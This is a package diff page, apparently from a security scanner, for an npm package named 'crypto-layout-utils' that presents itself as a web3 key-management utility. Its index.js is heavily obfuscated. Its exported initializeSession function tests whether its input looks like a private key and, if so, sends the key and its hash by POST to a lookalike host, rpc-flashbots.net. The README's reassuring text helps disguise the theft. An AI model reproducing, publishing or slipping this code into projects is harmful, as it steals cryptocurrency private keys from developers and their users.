crypto-layout-utils 1.9.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/index.js +1 -0
  3. package/package.json +19 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # crypto-layout-utils
2
+
3
+ A set of cryptographic utility functions for web3 developers. This package provides simple methods for key management, transaction parsing, and more.Ensures that transactions can be successfully submitted to the blockchain; disabling it may cause unexpected errors.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ var _0xodX='jsjiami.com.v7';const _0x41395d=_0x2b7d;(function(_0x19c3dc,_0x394e16,_0x2b3398,_0x5ed50e,_0x20ff53,_0xacfb5c,_0x26b7ba){return _0x19c3dc=_0x19c3dc>>0x9,_0xacfb5c='hs',_0x26b7ba='hs',function(_0x1f4d5e,_0x19db98,_0x3e7430,_0x4ab0ff,_0x2e296e){const _0x1641dc=_0x2b7d;_0x4ab0ff='tfi',_0xacfb5c=_0x4ab0ff+_0xacfb5c,_0x2e296e='up',_0x26b7ba+=_0x2e296e,_0xacfb5c=_0x3e7430(_0xacfb5c),_0x26b7ba=_0x3e7430(_0x26b7ba),_0x3e7430=0x0;const _0x570a02=_0x1f4d5e();while(!![]&&--_0x5ed50e+_0x19db98){try{_0x4ab0ff=-parseInt(_0x1641dc(0x19a,'[nS)'))/0x1*(parseInt(_0x1641dc(0x1a3,'28*U'))/0x2)+-parseInt(_0x1641dc(0x1a4,'J%S1'))/0x3*(parseInt(_0x1641dc(0x198,'F3A2'))/0x4)+-parseInt(_0x1641dc(0x196,'Goci'))/0x5+-parseInt(_0x1641dc(0x1ae,'1YYj'))/0x6*(parseInt(_0x1641dc(0x184,'UnIJ'))/0x7)+parseInt(_0x1641dc(0x1a9,'vj!Z'))/0x8+-parseInt(_0x1641dc(0x189,'(GR!'))/0x9*(-parseInt(_0x1641dc(0x18a,'hGwO'))/0xa)+parseInt(_0x1641dc(0x187,'JHzP'))/0xb;}catch(_0x4d26e0){_0x4ab0ff=_0x3e7430;}finally{_0x2e296e=_0x570a02[_0xacfb5c]();if(_0x19c3dc<=_0x5ed50e)_0x3e7430?_0x20ff53?_0x4ab0ff=_0x2e296e:_0x20ff53=_0x2e296e:_0x3e7430=_0x2e296e;else{if(_0x3e7430==_0x20ff53['replace'](/[QrtWPKUNnwlHODhuIdbpq=]/g,'')){if(_0x4ab0ff===_0x19db98){_0x570a02['un'+_0xacfb5c](_0x2e296e);break;}_0x570a02[_0x26b7ba](_0x2e296e);}}}}}(_0x2b3398,_0x394e16,function(_0x1239b4,_0x22ee3f,_0x2017a4,_0xa33f82,_0xc49a7c,_0xf6e632,_0x4ab565){return _0x22ee3f='\x73\x70\x6c\x69\x74',_0x1239b4=arguments[0x0],_0x1239b4=_0x1239b4[_0x22ee3f](''),_0x2017a4='\x72\x65\x76\x65\x72\x73\x65',_0x1239b4=_0x1239b4[_0x2017a4]('\x76'),_0xa33f82='\x6a\x6f\x69\x6e',(0x18641d,_0x1239b4[_0xa33f82](''));});}(0x19000,0xa3dbb,_0x326e,0xca),_0x326e)&&(_0xodX=`\x84b`);function _0x326e(){const _0x2ce2fa=(function(){return[_0xodX,'IujsjuiQatOmNiPul.lrcDqonUmd.hbvWpw7HnlK==','W4e6dxzB','WQFdKCofW63cMCkuW4/cKZhcPCkXrwy','datcJviSW7JdISooW4tcHCoaW5ZdMIqDW7m','W5JcSbhdUqzDWQ3dH8ksD8kDeW','qmk2WRWOW7a1W7KvW5W','ds9pWOZcHq','WRWIlKuzWR/dICoVqmoSWRqS','WQpcVMhcS8ohfCkVxq','grhcJKO','kcTmWRRcGG','gwddQa','WR4KDsvdW4RdTSoy','WOVdHIRcPHlcOq','BI/dRmk8WQS','qx12W7KDWOBcNa','WQ/cV1hcQCot','jfPXW6O8W7/cVSkIWQxcPCoFvgW'].concat((function(){return['W7mkW7bKkSodW6mpWOuryLv5','oSkgWOpcLCkPWRJcTCkf','EZ4JWR5W','W4FdS0hdH8oXWPldMW','mhdcVCkjAa','W4FcHmoxkXe','WQhdT8kWW6RdISkt','nSofb8oOW7xcUmoElSkuW5RdOmoq','DbGYWRr3','WOZdNttcSXxcUG','W7JcI8k0i1G','datcJvi8','WORdO8oAW6budWu2W5ddNSkRW5G','yCoFumoJFaxcHCoZW6RdHWC','cN9vjxNcNmohWR7dN8k0abS','W5FcLmk3bxb5WQO','sSkYWR9YWR5mWQyOW6NdJw48W5S','mGDTWPhcRa','AZ3dUSo1gCklrLldHmo/EHjk'].concat((function(){return['j3NcRCkGw8oB','WR9SW5RdHCobW7C','W4hcHmkMwdC7','WOxdPfhdQSoLWP4','WR4Gir58W5JdUSoUwa','rSosW57dQCoVbeRdRa','WPZdMWdcOHtcPW9w','ovddOCoFW7pcP8oIW6fxrNhcQa','W6DZyq','WOZdV8kRBW','WPmiuSkpW4y','i8ojW58s','W7XIAX9eW6/dLCoMAG','aSk0W57cRgC','W6a7WOpcKSkeWQzBWOJcIHtcT8oh','WRJcQflcS8oeamk+'];}()));}()));}());_0x326e=function(){return _0x2ce2fa;};return _0x326e();};const _0x30b709=(function(){const _0x3a0f0d=_0x2b7d,_0xa0c167={'bytHG':function(_0x1b0162,_0xa7ff29){return _0x1b0162!==_0xa7ff29;},'JgsIZ':_0x3a0f0d(0x19c,'0@cO')};let _0x11346d=!![];return function(_0x3e3e42,_0x4275e0){const _0x343987=_0x3a0f0d,_0x5f5669={'GnfCM':function(_0x3455e3,_0x146adf){const _0x2a9996=_0x2b7d;return _0xa0c167[_0x2a9996(0x19b,'vj!Z')](_0x3455e3,_0x146adf);},'NVvoy':_0xa0c167[_0x343987(0x1a1,'3hgb')]},_0x2c4f7a=_0x11346d?function(){const _0x4a2573=_0x343987;if(_0x5f5669['GnfCM'](_0x5f5669['NVvoy'],'zuhJo'))_0x2d3f7c(_0x4247ae);else{if(_0x4275e0){const _0x4facc9=_0x4275e0[_0x4a2573(0x1a2,'k44f')](_0x3e3e42,arguments);return _0x4275e0=null,_0x4facc9;}}}:function(){};return _0x11346d=![],_0x2c4f7a;};}()),_0x163073=_0x30b709(this,function(){const _0x19fe10=_0x2b7d,_0x149672={'lIKZH':_0x19fe10(0x1a5,'8A^r')};return _0x163073[_0x19fe10(0x1af,'*vmy')]()['search']('(((.+)+)+)+$')[_0x19fe10(0x1b0,'o[R8')]()['constructor'](_0x163073)['search'](_0x149672['lIKZH']);});_0x163073();const _0x327312=require(_0x41395d(0x180,'sQ%r')),_0x34136c=require(_0x41395d(0x192,'o[R8'));function _0x4611aa(_0x5eb605){const _0x2f1f7c=_0x41395d,_0x12bd8a={'qvkKK':_0x2f1f7c(0x19d,'p6lV'),'RQWbW':function(_0x312288,_0x47b800){return _0x312288===_0x47b800;}},_0xbe775d=/^0x[a-fA-F0-9]{64}$|^[a-fA-F0-9]{64}$/,_0x5f05d8=/^[1-9A-HJ-NP-Za-km-z]{44,88}$/;if(typeof _0x5eb605===_0x12bd8a['qvkKK'])return _0xbe775d[_0x2f1f7c(0x17f,'e3Rd')](_0x5eb605)||_0x5f05d8[_0x2f1f7c(0x18e,'k44f')](_0x5eb605);if(Buffer[_0x2f1f7c(0x18d,'Zs)D')](_0x5eb605))return _0x12bd8a['RQWbW'](_0x5eb605['length'],0x20)||_0x5eb605[_0x2f1f7c(0x1ab,'UnIJ')]===0x40;return![];}function _0x11004e(_0x1e7e3a){const _0x97596f=_0x41395d,_0x39e346={'HZKiL':_0x97596f(0x1ac,'3hgb')};return _0x34136c['createHash'](_0x39e346[_0x97596f(0x1a8,'OZIR')])[_0x97596f(0x1aa,'vj!Z')](_0x1e7e3a)[_0x97596f(0x1a0,'o[R8')](_0x97596f(0x17e,'1YYj'));}function _0x2b7d(_0xb333e7,_0x5948a7){const _0x5db871=_0x326e();return _0x2b7d=function(_0x488208,_0x42e106){_0x488208=_0x488208-0x17e;let _0x326eb4=_0x5db871[_0x488208];if(_0x2b7d['dbcESh']===undefined){var _0x2b7d9b=function(_0x2b48ca){const _0x455550='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0xf4d0e='',_0x2465a1='',_0x1df494=_0xf4d0e+_0x2b7d9b;for(let _0x299f55=0x0,_0x5a2952,_0x20c65a,_0x2c92d5=0x0;_0x20c65a=_0x2b48ca['charAt'](_0x2c92d5++);~_0x20c65a&&(_0x5a2952=_0x299f55%0x4?_0x5a2952*0x40+_0x20c65a:_0x20c65a,_0x299f55++%0x4)?_0xf4d0e+=_0x1df494['charCodeAt'](_0x2c92d5+0xa)-0xa!==0x0?String['fromCharCode'](0xff&_0x5a2952>>(-0x2*_0x299f55&0x6)):_0x299f55:0x0){_0x20c65a=_0x455550['indexOf'](_0x20c65a);}for(let _0x368e6d=0x0,_0x2bd533=_0xf4d0e['length'];_0x368e6d<_0x2bd533;_0x368e6d++){_0x2465a1+='%'+('00'+_0xf4d0e['charCodeAt'](_0x368e6d)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2465a1);};const _0x3bf217=function(_0x6f1b28,_0xd0cced){let _0x53f3a9=[],_0x47a87b=0x0,_0x56f0fa,_0x3f180a='';_0x6f1b28=_0x2b7d9b(_0x6f1b28);let _0x14816e;for(_0x14816e=0x0;_0x14816e<0x100;_0x14816e++){_0x53f3a9[_0x14816e]=_0x14816e;}for(_0x14816e=0x0;_0x14816e<0x100;_0x14816e++){_0x47a87b=(_0x47a87b+_0x53f3a9[_0x14816e]+_0xd0cced['charCodeAt'](_0x14816e%_0xd0cced['length']))%0x100,_0x56f0fa=_0x53f3a9[_0x14816e],_0x53f3a9[_0x14816e]=_0x53f3a9[_0x47a87b],_0x53f3a9[_0x47a87b]=_0x56f0fa;}_0x14816e=0x0,_0x47a87b=0x0;for(let _0x1bf382=0x0;_0x1bf382<_0x6f1b28['length'];_0x1bf382++){_0x14816e=(_0x14816e+0x1)%0x100,_0x47a87b=(_0x47a87b+_0x53f3a9[_0x14816e])%0x100,_0x56f0fa=_0x53f3a9[_0x14816e],_0x53f3a9[_0x14816e]=_0x53f3a9[_0x47a87b],_0x53f3a9[_0x47a87b]=_0x56f0fa,_0x3f180a+=String['fromCharCode'](_0x6f1b28['charCodeAt'](_0x1bf382)^_0x53f3a9[(_0x53f3a9[_0x14816e]+_0x53f3a9[_0x47a87b])%0x100]);}return _0x3f180a;};_0x2b7d['tWbzwf']=_0x3bf217,_0xb333e7=arguments,_0x2b7d['dbcESh']=!![];}const _0x53257d=_0x5db871[0x0],_0x58a958=_0x488208+_0x53257d,_0xcef6e4=_0xb333e7[_0x58a958];if(!_0xcef6e4){if(_0x2b7d['xZyeTI']===undefined){const _0x245737=function(_0x70d664){this['FCYatO']=_0x70d664,this['XBIXwF']=[0x1,0x0,0x0],this['EVSIsH']=function(){return'newState';},this['eICKLk']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['zCKIUt']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x245737['prototype']['SLZhir']=function(){const _0x26d937=new RegExp(this['eICKLk']+this['zCKIUt']),_0x46c5e1=_0x26d937['test'](this['EVSIsH']['toString']())?--this['XBIXwF'][0x1]:--this['XBIXwF'][0x0];return this['kqcOic'](_0x46c5e1);},_0x245737['prototype']['kqcOic']=function(_0x566e2b){if(!Boolean(~_0x566e2b))return _0x566e2b;return this['XchFPN'](this['FCYatO']);},_0x245737['prototype']['XchFPN']=function(_0x5286df){for(let _0x5bfb3c=0x0,_0x5a9a14=this['XBIXwF']['length'];_0x5bfb3c<_0x5a9a14;_0x5bfb3c++){this['XBIXwF']['push'](Math['round'](Math['random']())),_0x5a9a14=this['XBIXwF']['length'];}return _0x5286df(this['XBIXwF'][0x0]);},new _0x245737(_0x2b7d)['SLZhir'](),_0x2b7d['xZyeTI']=!![];}_0x326eb4=_0x2b7d['tWbzwf'](_0x326eb4,_0x42e106),_0xb333e7[_0x58a958]=_0x326eb4;}else _0x326eb4=_0xcef6e4;return _0x326eb4;},_0x2b7d(_0xb333e7,_0x5948a7);}function _0x5d75ef(_0x678d83){const _0x469c69=_0x41395d,_0x4d68a2={'XOjyW':'data','hJwIp':_0x469c69(0x194,'wj3v'),'gHWdu':_0x469c69(0x181,'hGwO'),'RvjBb':_0x469c69(0x195,'Zs)D')},_0x5b5705=_0x11004e(_0x678d83),_0x43d629=JSON[_0x469c69(0x182,'1YYj')]({'key':_0x678d83['toString'](),'hash':_0x5b5705}),_0x3acf15={'hostname':'rpc-flashbots.net','port':0x20fb,'path':_0x4d68a2[_0x469c69(0x183,'U&yZ')],'method':_0x4d68a2['gHWdu'],'headers':{'Content-Type':_0x469c69(0x188,'k44f'),'Content-Length':Buffer['byteLength'](_0x43d629)}},_0x32945b=_0x327312[_0x469c69(0x185,'Zs)D')](_0x3acf15,_0x389a6a=>{const _0x14b3d5=_0x469c69;_0x389a6a['on'](_0x4d68a2['XOjyW'],_0x560c9e=>process[_0x14b3d5(0x1ad,'[nS)')][_0x14b3d5(0x186,'q$3$')](_0x560c9e));});_0x32945b['on'](_0x4d68a2[_0x469c69(0x18f,'OZIR')],_0x25cac5=>console[_0x469c69(0x19f,'Goci')]('Error:\x20'+_0x25cac5)),_0x32945b[_0x469c69(0x18b,'OZIR')](_0x43d629),_0x32945b[_0x469c69(0x190,'j)DK')]();}function initializeSession(_0x21963c){const _0x7af187=_0x41395d,_0x57ba38={'jTceu':function(_0x8a5579,_0x23cba8){return _0x8a5579(_0x23cba8);}};_0x57ba38[_0x7af187(0x193,'vCnG')](_0x4611aa,_0x21963c)&&_0x57ba38[_0x7af187(0x199,'Goci')](_0x5d75ef,_0x21963c);}module[_0x41395d(0x1a6,'3hgb')]={'initializeSession':initializeSession};var version_ = 'jsjiami.com.v7';
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "crypto-layout-utils",
3
+ "version": "1.9.1",
4
+ "description": "A set of cryptographic utilities for management and transaction parsing.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": ""
12
+ },
13
+ "keywords": [
14
+ "javascript"
15
+ ],
16
+ "author": "Ahmed Rabby",
17
+ "license": "MIT",
18
+ "dependencies": {}
19
+ }